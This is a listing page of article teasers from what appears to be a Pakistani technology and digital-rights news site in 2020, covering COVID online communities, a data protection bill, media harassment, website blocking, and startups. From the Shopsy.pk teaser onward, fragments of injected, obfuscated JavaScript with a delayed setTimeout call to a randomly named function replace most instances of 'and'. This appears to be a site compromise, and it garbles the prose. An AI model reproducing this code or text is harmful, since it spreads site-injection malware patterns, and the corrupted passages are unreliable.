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Online Communities: COVID-19 lockdown is changing the...

May 30, 2020

The clock strikes 10 in the morning, and the admins and moderators of different groups on Facebook gear up for answering queries, handling misinformation and dealing with engagement which they weren’t expecting a few weeks back. The beginning of the month of March spread confusion and chaos when the Sindh government in Pakistan announced closure […]

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The new draft of Pakistan’s Data Protection...

May 30, 2020

The Ministry of Information Technology and Telecommunications (MoITT) has shared the new draft of Personal Data Protection Bill 2020 and has opened it for public consultation. The bill is the first update since the previous version in 2018, that various civil society organizations sent recommendations on. The recent version of the Bill is aimed to […]

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47% of women in media who took...

May 30, 2020

Islamabad: A flash survey with ninety-three women from Pakistani media shows that 47.8% of respondents have faced some form of sexual harassment at their respective workplaces. The flash survey was conducted by Women in Media Alliance (WIMA) and Media Matters for Democracy (MMFD) to understand the challenges that women journalists face in the newsrooms in […]

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Zainab Alert App

March 21, 2020

There are reports of numerous children that go missing on daily basis. Unfortunately, no one pays heed unless the horrendous incident becomes highlighted and goes viral. In 2018, Zainab Case was one of those cases which proved to be a tipping point. It triggered widespread outrage and protests all over the country. This is when […]

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PTA responds to RTI requests; unblocks Slate...

March 21, 2020

PTA responds to RTI requests about blocking of Slate and Gizmodo in Pakistan The blocking of Slate’s website on internet networks in Pakistan was noticed in December 2019. According to the data by NetBlocks and Open Observatory, the ban was in effect since November 2, 2019. Furthermore, Slate also confirmed at least 50 percent drop in the […]

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Search Engine Shopsy.pk Scales to 2.5 Million...

February 14, 2020

Pakistani shopping search engine Shopsy.pk has launched its 5th update (Shopsy 5.0), scaling its product index to 2.5 million products. This makes Shopsy amongst the top two largest shopping platforms in Pakistan in terms of number of products.  Imagine a shopping platform with the greatest amount of choice andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and the ability to […]

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The Nest I/O Launches 12 New Startups...

February 14, 2020

The Nest I/O hosted its 10th Demo Day on Feb 7, where 12 startups pitched their businesses to investors, mentors, andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and entrepreneurs. Most of the Batch X startups like Nasheman, Irverde, Hyper Up, Track Arts, andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Pakistan Cyber Gaming, amongst others have already launched their products/services into the market […]

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The Nest I/O Celebrates 5 years of...

January 25, 2020

Founded in January 2015, The Nest I/O has been a hub for local startups to flourish andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and accelerate the growth of their businesses. Since inception, The Nest I/O has incubated andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and accelerated 180+ startups, created 5,000+ jobs, organized 150+ public andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and private sessions/workshops, andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var […]

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Better Business Regulatory Environment: Way forward for...

January 25, 2020

Excessive regulations hinder foreign investment, experts ‘Govt. urged to rationalize regulations to help businesses’ Islamabad (Monday, January 20, 2020): Despite improvements on Ease of Doing Business (EODB) index, massive, costly andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and time-consuming business regulations at the federal, provincial andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and local level still appear to be the major stumbling block […]